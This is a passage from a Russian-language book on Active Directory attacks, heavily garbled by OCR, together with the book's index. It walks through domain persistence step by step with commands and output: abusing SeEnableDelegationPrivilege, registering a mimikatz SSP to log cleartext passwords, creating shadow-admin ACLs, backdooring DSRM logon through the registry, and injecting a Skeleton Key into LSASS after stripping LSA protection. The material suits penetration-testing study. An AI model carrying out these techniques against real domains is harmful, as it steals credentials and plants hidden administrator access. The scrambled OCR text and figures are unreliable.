* 5 - 1 - 5 - 3 2 - 544, *5-1 - 5 - 32-551, * 5 - 1 - 5 -32-549, * 5 - 1 - 5-32-550
5e5ystemEnvironmentPrivilege
5e5ystemProfilePrivil"ge
•
•
* S - 1 - 5 - 32-544
* 5 - 1 - 5 - 32-544, * 5 - 1 - 5 -80-3139157870-2983391045- 3678747466-658725712-1809340420
5e5ystemП111ePrivilege - * S - 1 - 5 -19, * 5 - 1 - 5-32-544, •S-1,-5-32-549
SeTake<МnershipPrivilege - * 5 - 1 - 5 - 3 2 - 544
5eUndockPrivilege
•
• 5 - 1 - 5 - 32 - 544
e<мЫeDel�ga tion Pi:Jv i l�ge
S
- * 5 - 1 - 5 - 32 - 544
Рис.
8.8. Разрешение SeEnaЫeDelegationPrivilege
Глава В
158
I
PS С : \ > ·
1
j 2 - c-44 "
B U I L T I N \Admi n i st r ators
Рис. 8.9.
1
Convert - Si d ToName
Имя объекта по SID
Иными словами, по умолчанию только администраторы имеют право изменять
параметры делегирования. Если мы имеем права GenericAll /GenericWrite для
любых объектов в
домене,
нам
необходимо получить привилегию
SeEnaЬleDelegationPrivilege. Сделать это проще, чем кажется. Допишем имя учетной
записи в указанный выше файл (рис. 8. 1 0).
SeSystetnT:ille Privilege
•
SeTakeOwnershipPrivilege
SeUпdoc kPr iv ilege
•
* S - 1 - 5 - 19, * S -1 - 5 - 32 - 544, * S- 1 - 5 - 32 - 549
•
* S - 1 - 5 -32-544
•S - 1 - 5 - 3 2 -544
SeEnaЫeDelegationPrivilege
Рис. 8.10.
•
iill
, •S - 1 - 5 -32- 544
:.._
_
__
_
_
_
_
_
_
_
_
_
_
_,
Разрешение SeEnaЫeDelegatioпPrivilege поспе добавления записи
При добавлении любого SID или имени пользователя в любую строку данного фай
ла в разделе [ Privilege Rights J изменения вступают в силу, когда контроллер доме
на или пользователя перезагружают или обновляют групповую политику
(рис. 8. 1 1 ).
PS > $Policy = Get-DomainPolicy -Source ОС
PS > $Policy [ ' Privilege Rights ' ] [ ' SeEnaЬleDelegationPrivilege ' ]
PS C : ,U s e i-s,e u i lus e t- > $ Po l ic y = Ge t - Doмa inPo l ic y -Sош•се DC
PS C : ,1J s e 1·s,e u i l н� е 1· > $ Ро 1 ie y f ' P1• i u i l t' fi" R i9 !1t s ' l f ' Se Er1<t}1 l r: De ] " !J •• t
'1t.' i Ltt�t.н•::> - t -!> - J /. -::. •и
Рис. 8.1 1 .
ionP1• i v i ]е9" ' )
SeEпaЫeDelegatioпPrivilege в [Privilege Rights]
Таким образом, если целевой пользователь обладает полными правами на любого
другого пользователя в домене, то оператор может изменить значения свойства
msDS-Al lowedToDelegateтo для подконтрольного пользователя, делегировав права аб
солютно на любую службу в домене. Контроль над всеми службами в домене дает
нам контроль над всем доменом.
Security Support Provider
Security Support Provider Interface (SSPI) - программный интерфейс в Microsoft
Windows между приложениями и провайдерами безопасности. SSPI используется
для отделения протоколов уровня приложения от деталей реализации сетевых про
токолов безопасности и обеспечивает уровень абстракции для nоддержки множест
ва механизмов аутентификации.
SSPI позволяет легко расширять методы проверки подлинности Windows, позволяя
добавлять новых поставщиков поддержки безопасности (SSP). Вот некоторые из
стандартных служб SSP:
Используем грrпповые политики, чтобы сохранить доступ к домену
159
1 . NTLM
это протокол аутентификации, используемый в сетях, которые вклю
чают машины с операционной системой Windows.
-
2. Kerberos - определяет, как клиенты взаимодействуют со службой сетевой
аутентификации на основе билетов.
3 . Negotiate - это SSP, который действует как прикладной уровень между SSPI
и другими поставщиками общих служб.
4. Schannel - это SSP, который содержит набор протоколов безопасности, обеспе
чивающих идентификацию личности и безопасную конфиденциальную связь
посредством шифрования.
5 . Digest - это SSP, который реализует упрощенный протокол аутентификации
для сторон, участвующих в обмене данными на основе протоколов НТТР или
SASL.
6. CredSSP - это SSP, позволяющий приложению делегировать учетные данные
пользователя для удаленной аутентификации.
Но мы можем добавить свой SSP в систему Windows. Имеющийся в mimikatz
модуль SSP обеспечивает автоматическую регистрацию локально аутентифициро
ванных учетных данных. Таким образом, оператор сможет получать актуальный
пароль учетной записи компьютера, учетные данные служб, а также все учетные
записи, которые авторизуются в системе.
Есть два способа сделать это. Первый - воспользоваться модулем misc (рис. 8 . 1 2)
mimi katz # privilege : : debug
mimi katz # misc : : memssp
mim i k a t z # p r i v i l ege : : de b u g
P r i v i l ege
· 20 ·
ОК
m i m i k a t z 1 mi s c : : mems s p
Iпjec ted = )
Рис. 8.12. Использование модуля misc: :memssp mimikatz
Но этот способ не переживет перезагрузки машины. Теперь разберем более слож
ный, но надежный второй способ. Необходимо скопировать mimilib . dll в папку
с : \Windwows \System32. После этого надо обновить запись в реестре по пути
НКЕУ_LOCAL_МACНINE\System\CurrentControlSet \Control \Lsa \Security Packages, добавив туда
mimi lib (рис. 8 . 1 3).
Теперь.
все
данные
авторизации будут
(рис. 8 . 1 4, 8 . 1 5).
регистрироваться
в
журнале
С : \Windwows\System3 2 \ kiwissp. log
�SecureBoot
��'!"-ОС���-·-···�·----
--
0.000100 (1)
REG_DWORD
RЦi.f:!.1_\!,ц:i,.g___ ...._!��
�
!os-;_1�f!"i!!.� nn;t°�jя�-�l'Ъl!!c!!2 u mi;;:J[ь:"::-..::-". "::J
Рис. 8.13. Запись Security Packages в реестре
Гла ва В
160
Результаты поиска в
"System32"
-----
�
(1
------
-
-
l<iwissp
C:\Windows\System32.
-
-
-
-
-
-
Т иn: Текстовый документ
Рис. 8.14. Запись Security Packages в реестре
(000000 : 00000Зе7]
(000000 : 000003е4]
[ 000000 :0000fсТ1 ]
(000000 : 0000fd44]
(000000 : 00000З е5]
(000000 : 0000З
0 еЗ]
(000000 : 0007d880]
(000000 :0007ed38]
(000000 o0007edS6]
[00000002 ]
(00000005 ]
[00000002 ]
[00000002 ]
[00000005 ]
[00000005 ]
[00000005 ]
[00000002 ]
[00000002 ]
а2 cl d2 31 42 6d с9 8е la 5с 3е 48 4а а4 47 77
OOМAIN\WIN-5ULR6E1JП9S (WIN-5ULR6E1JТJ9$)
а2 cl d2 31 42 6d с9 Se la Sc Зе 48 4а а4 47 77
OOМAIN\WIN-5ULR6E1JП9$ (NEn«JRK SERVICE)
OOМAIN\WIN-5ULRбE1JП9$ (Dlltl - 1) а2 cl d2 31 42 6d с9 8е 1а 5с Зе 48 4а а4 47 77 36 0d 79 74 74 7
OOМAIN\WIN- 5ULRбE1JТJ9$ (DIФl-1) а2 cl d2 31 42 6d с9 8е la 5с Зе 48 4а а4 47 77 36 0d 79 74 74 7
\ (LOCAL SERVICE)
\ (IUSR)
OOМAIN\МediaAd�1nS (Мed1aAdtll1n$) е7 Ы 96 75 ef cd 71 0Ь 2Ь е6 99 Зс 45 21 15 Зе 85 fЗ Ьd d5 9f 5
OOМAIN\root (root )
12345678
OOМAIN\root (root )
lll!lfi
Рис. 8.15. Пароль пользователя root в открытом виде
Используя групповые политики, можно собирать информацию со всех журналов
всех машин в домене, а также сохранять их в какой-нибудь общедосrупный ресурс.
С п ис ки .доступа
и дескри пторы безо п асности
Учетные записи теневого администратора (shadow admins) - это учетные записи,
которые имеют «негласные» привилегии и обычно остаются незамеченными, т. к.
они не входят в привилегированную группу Active Directory. Как правило, приви
легии таким учетным записям предоставлены за счет прямого назначения разреше
ний (списков доступа). Поскольку учетная запись теневого администратора облада
ет неявными привилегиями и ее сложнее обнаружить (она не состоит ни в каких
привилегированных группах), то она наиболее приоритетна для оператора.
Каждый объект в Active Directory имеет свой собственный список разрешений АСЕ
(записи контроля досrупа), которые в совокупности составляют ACL (список кон
троля досrупа). ACL каждого объекта определяет, кто имеет разрешения на этот
конкретный объект и какие действия могут быть выполнены с ним (рис. 8. 1 6, 8 . 1 7).
То есть группе «Администраторы домена» по умолчанию предоставляется полный
доступ ко всем объектам домена. Но оператор может взять непривилегированную
учетную запись пользователя и предоставить ей те же АСЕ, что и группе «Админи
страторы домена». Такая учетная запись и будет классифицироваться как учетная
запись теневого администратора.
Преимущество этого метода состоит в том, что обнаружить его можно, только по
стоянно отслеживая списки контроля доступа, что на самом деле делается очень
редко либо вообще никогда. Рассмотрим три самых распространенных варианта
использования метода.
Используем геупповые политики, чтобы сохранить доступ к домену
Безоnасность
Редактор атриб
161
ов
[pymьt иnи nоnьзоеаП!nи:
•
Jl. SELF
Jl.l)юшещме�
Jl.СИСТЕМА
& SD (userS[)@domaWJ .dom)
< 8С41·!МSВtММf
iiii
! �1Ь 1 1
•..
fазреwени11 д/IЯ f'йПЬ1 "Все"
j
�-
Разреwи1Ь 3аrрети1Ь
По/Н>IА /IОСТ}'П
Чтение
Запись
Созда1Ь есе дРЧеРНИе объеКты
Удаnи1Ь есе дРчерние объекты
Чтобы зада1Ь особые разрешения иnи
параметры. НаJIСМИТе Ю1QПКУ
"L1Рnо1"4теnьнок.
Рис. 8.16. ACL
>
о
о
о
о
о
о
о
о
о
о
'У
�1"4теnьно!
группы «Администраторы домена для всеn
Ред;�ктор а:rрибутов
Безопасность
[pymьt иnи ло1ЪЗОВатеnи:
"
•
СИСТЕМА
<
,dom)
>
1 д!ф!м1Ь". ! [
fазреwения мя rpyrnы "СИСТЕМА"
�
1
Разреwи1Ь 3arpeni1Ь
По!Н>IЙ дРСТ}'П
ч....,._
Запись
Созда1Ь есе ДРЧерНИе объекты
Удаnи1Ь есе дРЧеРНИе объек1Ь1
Чтобы зада1Ь особые разрешения иnи
napaмe1JJЬ1 , НаJ1СМИТе кнолку
о
о
о
о
о
"дt>полнитеnьно".
Рис. 8.17. ACL
группы «Администраторы домена для System»
Первый вариант - когда оператор предоставляет учетной записи полный контроль
над группой «Администраторы домена».
В данном варианте учетная запись не состоит в указанной группе и не является
привилегированной, но в любой момент может добавить себя или другую подкон
трольную учетную запись в эrу группу, выполнить необходимые действия и уда
литься из группы.
162
Глава В
Второй вариант - когда оператор предоставляет учетной записи разрешение
«Сбросить пароль)) для другой учетной записи из группы «Администраторы до
мена)) (рис. 8 . 1 9).
Бе:юnасность РедоlС\'о атрибутов
[руmь1 ИЛИ ПОЛЬ:SОl!l!l'!'еЛИ;
М Viotroot@domain.dom)
& flpeд-Wlndows 2000 .а.оступ (DOMA/N\llpeд-Wndows 2(
J& rpynne 111пориз!1ЦИИ доступа Windows (ООМАJN\Гр)'ПП;
"
Серееры лицензий сер11ер11 терминалов (DOMA/N\Cep
<
fазреwения для груmь1 "М"
Раsреwи
�j
Полный доступ
Чтение
Запись
Созда'!Ь все д11черние объекты
Удалить все дочерние объекты
Чтобы зада'IЬ особые разрешения или
0
0
0
0
'!Ь
Запре'!Мть"
о
о
о
о
о
параме�ры, нажмите кнопку
"Дрnоnнитеnьно".
Рис.
8.18. Полный контроль над группой «Администраторы домена»
Входящие эеонки
Репли;;ци--;-nаролей
Оnубликов11нные сертификаты
РеАактор атрмбутое
J
CO�LСреда-I Сеа�� ] Удме�-;�в;ен�
Профиль служб удаленных рабочих: столоs
Бе:юnасность
--
[руппы или пол з а
ь ов те
ли :
Вд,.,.,инис,раторы (ОО МАI N\Админис-rраторы)
"
& м tюtrool@domain.dom)
1& llpeд-Wndows 2000 доступ (DOMAJN\Пpeд-Windows 2(
1& Группа авторизации доступа Windows (DOMAJN\Гpynn,
J&Cei:iвeaы лицензий сервера терминалов MAIN\Cep "'
<
fазрешения для груmы "М"
>
Разреwи'!Ь Запреmть
Оmравить как
Получить как
Разрешено про�ть подлинность
Сброс 11аРоЛЯ
Смена пщюля
Чтобы зада'!Ь особые раsрешения или
nараме'!рЬ1. нажмите· кнопку
"Дрnоnнитеnьно".
Рис.
о
о
о
10.]
о
о
о
о
о
о
"
-
...,,
8.19. Разрешение «Сбросить паролы) для учетной записи <<Администратор»
Используем грrпповые политики, чтобы сохранить доступ к домену
Безоnасжхть
163
РедаJСТор атрибуrое
[руmы или nоnыsое11теЛ11 :
М. Гlpeд-Wndows 2000 доступ (OO MAIN\Гlpeд-Wndows 2( "
М. lncoming Forest Тrullt Вuilders (ООМА1N\lncoming Forest М. КОНТРОППЕРЫ LIOMEHA ПРЕдПРИЯТИЯ
& М '1otroot@dorшlin .dom)
<
-
о-а истеч-я срока naponя
Реn1И<111.t1Я всех изменений катаn ...
РеnSИ<-я изменений К11таnога
Pen1И<ill.t1Я изменений каталога е " .
Секре11111я сwщюниз-я penlИ<!I ...
Чтобы :sаД!IТЬ особые ра�ения ИЛI\
nараметры, нажмите кнопку
11Доnолнитеnьно1'.
о
lr2JJ
Б2J
Б2J
о
о
о
о
о
о
А
n�\
..;
1До!J.о1111Ительноj
Рис. 8.20. Разрешения на репликацию изменений каталога
Любой пользователь с таким разрешением имеет возможность реплицировать
любые объекты, включая пароли. Это дает оператору право на выполнение атаки
DCSync.
И третий вариант - когда оператор предоставляет учетной записи привилегии на
репликацию изменений каталога (рис. 8.20).
Directory Services Restore Mode
Каждый контроллер домена имеет внутреннюю учетную запись локального адми
нистратора. Она называется учетной записью режима восстановления служб ката
логов (DSRМ). Причем пароль для данной учетной записи редко подлежит измене
нию, т. к. основной способ сделать это на контроллере домена заключается в запус
ке инструмента командной строки ntdsutil.
Есть возможность синхронизировать пароль DSRМ на контроллере домена с опре
деленной учетной записью домена. Установить пароль можно, выполнив последо
вательно следующие команды (рис. 8.2 1 ).
> ntdsutil
set dsпn pas sword
reset password оп server null
[]
q
q
Но дело в том, что пользователь DSRМ по умолчанию - это «Администратор».
Таким образом, их пароли совпадают. Но оператор может связать пользователя
DSRМ с любым другим пользователем домена (рис. 8 .22).
Глава В
164
> ntdsutil
set dsrrn password
sync from domain account [ пользователь ]
q
q
C : \ W i n d o w s \ s y stem3 2 >ntdsut i l
n t d s ut i l :
set d s rm p a ssword
Переус тановите пароль адни н и с т р а т о р а DSRr·' : r'e s e t pas s;юrd on s e rver' null
Введите пароль для учетной записи адr·1ин и с тратора режина восстановления службы
Подтверждение пароля : · • · · • • • •
Пароль ус пешно установлен .
Переу с тановите
nt d s util : Q
пароль адr-н<нистратора DSRr·! :
к а т алог о в :
• · · · • • · •
Q
C : \Window s \system3 2 >
Рис. 8.21 . Замена пароля DSRM
C : \Hindows \ s y s tem32 > n t d s u t i l
ntdsut i l :
s e t d s r m p a s sword
П е р е у с т а новите п а р оль адиин и с т ратора DSRi·! :
sупс f rom doma i п a c c ount u s erSD
С и нхрони зация п а р оля ус пешно заверuена .
П е р е у с т а н о ви т е п а роль адNи н и с т р а т о р а DSRH :
rrtdsut i l :
q
q
Рис. 8.22. Связывание пол ьзователя DSRM с другой учетной записью
После того как удалось связать учетную запись DSRМ с другой учетной записью,
определимся, как ее можно использовать. Первым делом добавим свойство
DsrrnAdminLogonBehavior в НКLМ : \System\CurrentControlSet \Control \Lsa \. Возможные зна
чения:
L]
о (по умолчанию): можно использовать учетную запись DSRМ, только если DC
запущен в DSRМ;
L] 1 : можно использовать учетную запись DSRМ для входа в систему, если локаль-
ная служба AD остановлена;
L]
2:
всегда можно использовать учетную запись DSRМ.
Для авторизации по сети (ведь это запись администратора DSRМ) нам необходимо
выставить значение 2 (рис. 8.23, 8.24).
PS> New-I temProperty " НКLМ : \System\CurrentControlSet \Control\Lsa\
" -Name " DsrrnAdminLogonBehavior" -Value 2 - PropertyType DWORD
При этом оператору не нужно знать пароль пользователя, достаточно хеша пароля
(для path the hash). Если значение свойства DsrrnAdminLogonBehavior равно 2, а опера
тор может изменить пароль DSRМ, то данный способ позволяет ему сохранить
права администратора на контроллере домена даже при изменении всех паролей
пользователей и компьютеров домена.
у
'"--
- ·.'·\"·'••••·
_,",,"t(•Jrtrc:."0-f.Janle "Osr�m•�...:,·;:�-',.<::
.
gi:-,(,f.·�' ,j'•:c·�·
CentralizedAccessPoГкies
CachedMachineNames
------·
·
ОхОООООО (О)
2 - PropertyType D\•IORD
-
_
.
.
_
..
__ _
.. ....._.._.........._.....
�
�-----·-·----·
-
·
-Value
��§�0.�.Q�....... ... ... .....�.�l."
REG DWORD
ОхОООООО (О}
Р ис. 8.24. Свойство DsrmAdminLogonBehavior в реестре
� everyoneincludesanonymous
_
_
REG DWORD
REG DWOR�
·
- -·
·
------·
··-····
- -·
- · ----· --··----·
l!:.'В:�!.�0�'.!.���-�!...!.8-�!Yl0!..
� disaЫedomaincreds
� crashonauditfai!
Рис. 8.23. Добавление свойства DsrmAdminLogonBehavior
�licrosoft . PowerShell . Core\Re istr
HKLH
Lsa
Hicrosoft . PowerShe l l . Core\Registry : : HKEY_LOCAL_HACHINE\System\CurrentControlSet\Control
Nicrosoft . PowerShell . Core\Registr}' : : HKEY_LOCAL_HACHINE\Systen1\CurrentCont rolSet\Control \Lsa\
PS C : \l�indoиs\system32� New- Iten1Property
3:
.....
i
:о;
�
3
о..
о
�
�
�
@
1
g
:::i
ф
5
�
::i
166
Глава В
Skeleton Кеу
Skeleton Кеу - это особенное вредоносное программное обеспечение, которое по
зволяет легко понижать защищенность учетных записей в домене Active Directory
с точки зрения авторизации. Эта программа внедряется в процесс LSASS и создает
там собственный пароль, который будет актуален для любой учетной записи доме
на. Причем настоящие пароли тоже будут действительны, поэтому риск, что бэкдор
обнаружат, значительно снижается.
В сетях Windows, как правило, есть два основных метода аутентификации: NТLM и
Kerberos. И оба этих метода подвергаются вмешательству Skeleton Кеу. Таким об
разом, при NТLМ-аутентификации хеш пароля сравнивается не с базой SAM, а
с хешем Skeleton Кеу внутри LSASS. В случае с Kerberos шифрование будет пони
жено до алгоритма, который не поддерживает соль (RС4_НМАС_МD5). Поэтому
хеш, проверяемый на стороне сервера, будет удовлетворять хешу Skeleton Кеу,
и аутентификация всегда будет успешной.
Для внедрения бэкдора необходимы права администратора домена. Но стоит пом
нить, что, поскольку используется внедрение в процесс, перезагрузка контроллера
домена удалит вредоносную программу. При этом выполнить атаку очень просто,
для этого нужен mimikatz (рис. 8.25).
rni.mikatz # privilege : : debug
rnirni katz # rnisc : : s keleton
m i m i kat:
Р
i ni i < a t: :.:
Р
Pr· i •J i l ege
f.:DC }
•.1а: а
p r i v i lege : : debug
· 2 (1 ' ОК
n1i s c : : 5 < e l eton
КПС :
,, ;: 1- u c r
К ПС j
k e y � rat c h О К
R c ,1 · f ш н . 1 i or15
RC4
in:1
Hl4
dec r y r : pa: c h ОК
Рис. 8.25.
rat ( h ОК
Внедрение Skeletoп Кеу с помощью mimikatz
В результате этих действий появился еще один пароль, который также работает для
пользователя: mi.mi katz (рис. 8.26, 8.27).
С : l <·. i ndo1 1 S \ S \' o : e m3 2 '· п "' : rJ s e " ' l·. : f J - 5 1J L R6 E l J T J 9 \A 1 u s e r' : domai n . dom\root mimi k a t z
команда еыnоnнена ) С П еuно .
Рис. 8.26.
Авторизация с поддельным паролем Skeletoп Кеу
1: : " "· i ·1<101·1 , \ S ) c, : em32 > пet u s e
Коман�а Быnоnнена ус пеuно .
'' :
, 1l·:I11 - :;ULR6 E 1 J Т J 9 \A / L1 se r : Joma i n . dom\root 1 2 345678
Рис. 8.27. Авторизация
с реальным паролем пользователя
Используем грrпповые политики, чтобы сохранить доступ к домену
\l•ii ndoc·JS \system32 >net use У·
Коr·1.анда выпо11нена успешно .
С .
Рис.
167
\ \\.JHJ- 5ULR6E 1 J Т J9\д /user : cioma i n . dоm\Адr-1инистратор mimikat:
8.28. Авторизация под пользователем «Администратор» с паролем Skeletoп Кеу
C : \Windows \sys tem32 >net use У :
К оманда выполнена успешно .
Рис.
\\HirJ - SULR6E 1 J T J 9 \A / user : doma i n . dom\notroot mimikatz
8.29. Авторизация под пользователем notroot с паролем Skeletoп Кеу
При этом данный пароль подходит для авторизации под абсолютно любой учетной
записью пользователя домена (рис. 8.28, 8.29).
Стоит также упомянуть и LSA. При внедрении бэкдора может появиться следую
щая ошибка (рис. 8.30).
�1 in j)� <>f .: l:t
�-ННОН Jщ 11 I
r1 i:.c : : :; kc l c t. 0 1 1
" n i :;1: :: 111· 1 •· t "''
•
Рис.
: 0111:" Р1·ш;" •. :; ( r!хl'Н111ЩШ11•. >
8.30. Авторизация под пользователем notroot с паролем Skeletoп Кеу
Чтобы избежать этого, нам нужно выполнить атаку в обход LSA. Но и это неслож
но сделать с помощью mimikatz (рис. 8.3 1 ).
mimi katz # privilege : : debug
mimikatz #
!+
mimi katz #
! processprotect /proce s s : lsas s . exe /remove
mimikatz # misc : : skeleton
mi mikat z Р p r i v i l e ge : : debug
P r i v i l ege · 20 · ОК
mi mikatz • ! +
[ 4 ] ' m i m i d r v ' serv i c e a l ready reg i s t ered
['J
" mi m i d r v ·
mimikatz •
s e r v i c e a l ready s t a r t e d
! p r o c e s s p rot e c t / p rocess : l s a s s . exe /remove
P r o c e s s : l s a s s . exe
P I D 740 - > 00/00 [ 0 - 0 - В ]
m i m i k a t z • mi sc : : ske l e t o n
[ K DC j d a t a
[ KDC ] s t ru c t
[ KDC ] keys patch ОК
[ RC4 ] f u n c t i o n s
[ R C4 ]
i n i t patch ОК
[ R C 4 ] dec rypt patch
Рис.
ОК
8.31 . Внедрение бэкдора Skeleton Кеу в обход LSA
Можно сказать, что Skeleton Кеу - это метод, который оператор может исполь
зовать для доступа к хостам и сетевым ресурсам без необходимости взламывать
пароли пользователей домена. Полученный этим способом доступ сохраняется по
сле смены паролей всех пользователей (включая администраторов) до перезагрузки
контролл�ра домена.
Предметный указатель
А
Access Control Entry, АСЕ 42
ACL 42, 1 48
AdminSDHolder 147
ADModule 35
Advanced Threat Analytics (АТА) 86
Agressor Script 82
AMSI 1 00
ANGRYPUPPY 76
Antimalware Scan Interface (AMSI) 1 00
AppLocker 23, 97
AS-REP Roasting 1 1 6
Azure Active Directory (Azure AD) 24
Azure AD Sync 25
Azure CLI 26
в
Beacon 76
Bglnfo 73
BloodHound 1 3, 1 7, 40, 58, 76
с
CIFS 3 8
Cobalt Strike 1 3, 63, 76, 79
Cpassword 3 1
Credential Manager 1 30
CredSSP 1 59
Cryptool 3 1
Cypher 58
D
Data Protection API (DPAPI) 1 22
DCEPT 95
DCShadow 4 7, 1 49
DCSync 37, 38, 40, 47, 90, 1 1 8
Digest 1 59
Directory Services Restore Mode 1 63
DNS 1 1 1
Dnscmd 32
DomainPasswordSpray 75
Downgrade 1 09
DPAPI 1 22
DSRM 1 63
Е
Emotet 83
Empire 79
Endpoint Detection and Response (EDR) 8 1
Enterprise Admins 1 45
Exchange 49
Exchange PushSubscription 49
Exchange Windows Peпnissions 49
F
FileAzureadHookDLL 24
FQDN 1 0
FreeNAS 1 3
G
Get-GPPPassword 32
GoFetch 76
Golden Ticket 37, 1 33, 1 45
GPP 30
Gpp-decrypt 32
GPRegistryPolicy 2 1
Group Policy Preferences 30
GUID 1 0, 22
Предметный указатель
1 70
н
Honeypot 94
Honeypot Buster 96
Honeytoken 95
host SPN 10
IDS 95
Impacket 49, 107
IntemalMonologue 109
Invoke-ACLPwn 44
lnvoke-HoneyHash 95
Invoke-Mimikatz l 56
Invoke-NinjaCopy 106
Invoke-Obfuscation 79
Invoke-PhantOm 94
к
КСС 48
Kekeo 38, 46
Kerberoasting 37, 95, 113
Kerberos 9, 33, 45, 113, 1 1 6, 1 59
() Неограниченное делегирование 35
О Ограниченное делегирование 37
О Ограниченное делегирование на основе
ресурсов 39
Кiwi 1 3 8
L
Lateral Movement 53
LDAP 38, 40, 49, 96
Link-Local Multicast Name Resolution
(LLМNR) 111
Local Administrator Password Solution
(LAPS) 21, 23
LOLBas 100
LSASS (Local Secui"ity Authority Subsystem
Service) 35, 82, 96, 109
м
MailSniper l 5
Metasploit 32, 85
Metasploit Framework 13
Meterpreter 1 3 8
Microsoft Defender l 00
Microsoft SQL 12
Microsoft SQL Server 53
Microsoft TechNet 30
Mimikatz 36, 38, 46, 81, 109, 134, 137
MSF 86
MSSQLSv 38
N
NAS4Free 1 3
Negotiate 159
Neo4j 58
NetBIOS 1 1 1
NetNTLM 109
Network Attached Storage (NAS) 1 3
New-GPOimmediateTask 41
NTLM 39, 46, 88, 1 59
NТLМ-аутентификация 45
NTLM-xeш 119, 142
о
OAuth 26
OPSEC 87
Organizational Unit (OU) 40
Overpath-The-Hash 88, 89
р
PA-DATA 116
Pass-the-hash 60
Password Spraying 74, 88
Path the hash 164
PHS 24
PolicyMaker 30
PowerMad 39
PowerSCCM 69
PowerShell 9, 56, 91
PowerShell Activedirectory 20
PowerShell Empire 1 2, 100
PowerSploit 32, 79, 100
PowerUpSQL 12, 5 1 , 57
PowerView 1 2, 35, 41, 87
Privilege Account Certificate (РАС) 37
ProcDump 8 1
PsExec 61, 73
R
RESTful Empire 76
Restricted Admin 6 1
RID 1 45
RPC 54
Rubeus 36, 114
Предметный указатель
s
S4U2proxy 37, 38
S4U2self 37
SAM 62
SCCM 65
Schannel 159
Schtasks/at 8 1
ScriptBlock 9 1
SDProp 1 48
SecurePolicy 41
Security Support Provider Interface (SSPI) 158
SeEnaЫeDelegationPrivilege 1 57
Sekurlsa 1 3 5
Service Control Manager 64
Service Principal Names (SPN) 9
Setspn 1 1 4
Shadow admins 160
SharpHound 44
Shhmon 93
SID 42
SIDHistory 142
Silver Ticket 90, 1 39
Skeleton Кеу 1 66
SMB 49
SPN (Service Principal Name) 37, 90, 95, 1 1 3
SpoolSample 36
Spray 75
SQL Server 5 1
SQL Server Management Studio (SSMS) 53
SQL-инъекции 56
sRDI 82
SSPI 1 09, 1 58
Sysmon 92
А
System Center Configuration Manager
(SCCM) 65
SYSVOL 29
т
TGS (Ticket Granting Server) 35, 45, 90, 1 1 3
(ticket granting ticket) 35, 133
ТОТ
u
UNС-путь 58
User-Account-Control 33
v
Vssadmin 106
w
Windows Server Update Services (WSUS) 70
WМI 6 1 , 83
WMIC 8 1
WMlmplant 1 4
WМI-эапросы 8 7
WPAD 73
WSUSpendu 70
х
XМLDOM 83
XMLHTTP 85
г
Аптитуда 92
АРТ-атаки 83
Б
Билеты
1 71
службы 139
Глобальные группы 1 9
Групповая политика 1 53
Группы Active Directory 1 9
Группы безопасности 1 9
Группы распространения 1 9
Предметный указатель
1 72
д
Делегирование 33
Диспетчер учетных данных 130
з
Защитник Windows 1 00
Золотой билет Kerberos 1 3 3
и
р
Распьmение пароля 74
Режим одобрения администратором 62
с
Системный монитор 92
Скрытая учетная запись администратора 1 7
Служба для доступа пользователя к себе 33
Служба для пользователя через прокси 34
Списки контроля доступа 42, 148
Идентификаторы безопасности SID 60
л
Лес 45
Локальная группа домена 19
о
Обратимое шифрование 1 20
Объекты групповой политики 40
п
Персистентность доступа 1 49
Предпочтения групповой политики 30
т
Транзитивность 44
Траст 44
у
Универсальные группы 1 9
Учетные записи теневого администратора
1 60
ш
Шаблон групповой политики 1 54